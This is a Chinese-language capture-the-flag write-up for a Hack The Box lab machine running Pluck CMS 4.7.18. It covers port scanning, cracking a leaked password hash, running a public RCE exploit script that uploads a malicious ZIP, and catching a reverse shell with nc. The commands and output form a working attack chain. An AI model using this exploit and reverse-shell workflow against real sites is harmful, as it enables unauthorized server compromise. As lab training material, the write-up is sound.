└──╼ [★]$ nmap -sV 10.10.11.25 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 02:36 CDT Nmap scan report for 10.10.11.25 Host is up (0.0024s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) 3000/tcp open ppp?
Pluck is your small and simple content management system, written in php. With pluck, you can easily manage your own website without knowledge of programming languages. Pluck focuses on ease of use and enables everyone to manage his own website. This makes pluck an excellent choice for every small website. 看起來是一個用 php 寫的框架，讓人方便管理網站的。 同時截圖左邊可以看到 pluck 4.7.18 的小字，那上網查會發現這是有漏洞的版本，研究了他的利用手法後，我們會發現他有一個上傳漏洞，但目前我們可能要先想辦法登入他，那一開始 nmap 還有掃到 3000 port 有開服務，用瀏覽器存取後會發現是一個自架的 git server，在可能的路徑翻找一下會看到： 我們可以透過線上工具去嘗試破解這串密文： https://crackstation.net/ 找到密碼：iloveyou1 -> 登入 pluck 上網找到一個很方便的腳本： https://github.com/b0ySie7e/Pluck_Cms_4.7.18_RCE_Exploit 照著 README.md 的教學使用：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
└──╼ [★]$ python exploit_pluckv4.7.18_RCE.py -h usage: exploit_pluckv4.7.18_RCE.py [-h] --password PASSWORD [--filename FILENAME] --ip IP --port PORT --host HOST
Script para crear y subir un archivo ZIP malicioso.
options: -h, --help show this help message and exit --password PASSWORD Password para login --filename FILENAME Nombre del archivo PHP a crear --ip IP IP del atacante --port PORT Puerto del atacante --host HOST URL del host objetivo ┌─[sg-vip-2]─[10.10.14.22]─[kazma@htb-m9chba7pro]─[~/Pluck_Cms_4.7.18_RCE_Exploit] └──╼ [★]$ python exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.14.22 --port 4444 --host http://greenhorn.htb [+] Creating payload [+] Overwriting .php file [+] Creating ZIP file Login successful [+] ZIP file uploaded successfully
Reverse shell:
1 2 3 4 5 6
└──╼ [★]$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.22] from (UNKNOWN) [10.10.11.25] 48094 bash: cannot set terminal process group (1099): Inappropriate ioctl for device bash: no job control in this shell www-data@greenhorn:~/html/pluck/data/modules/mirabbas$
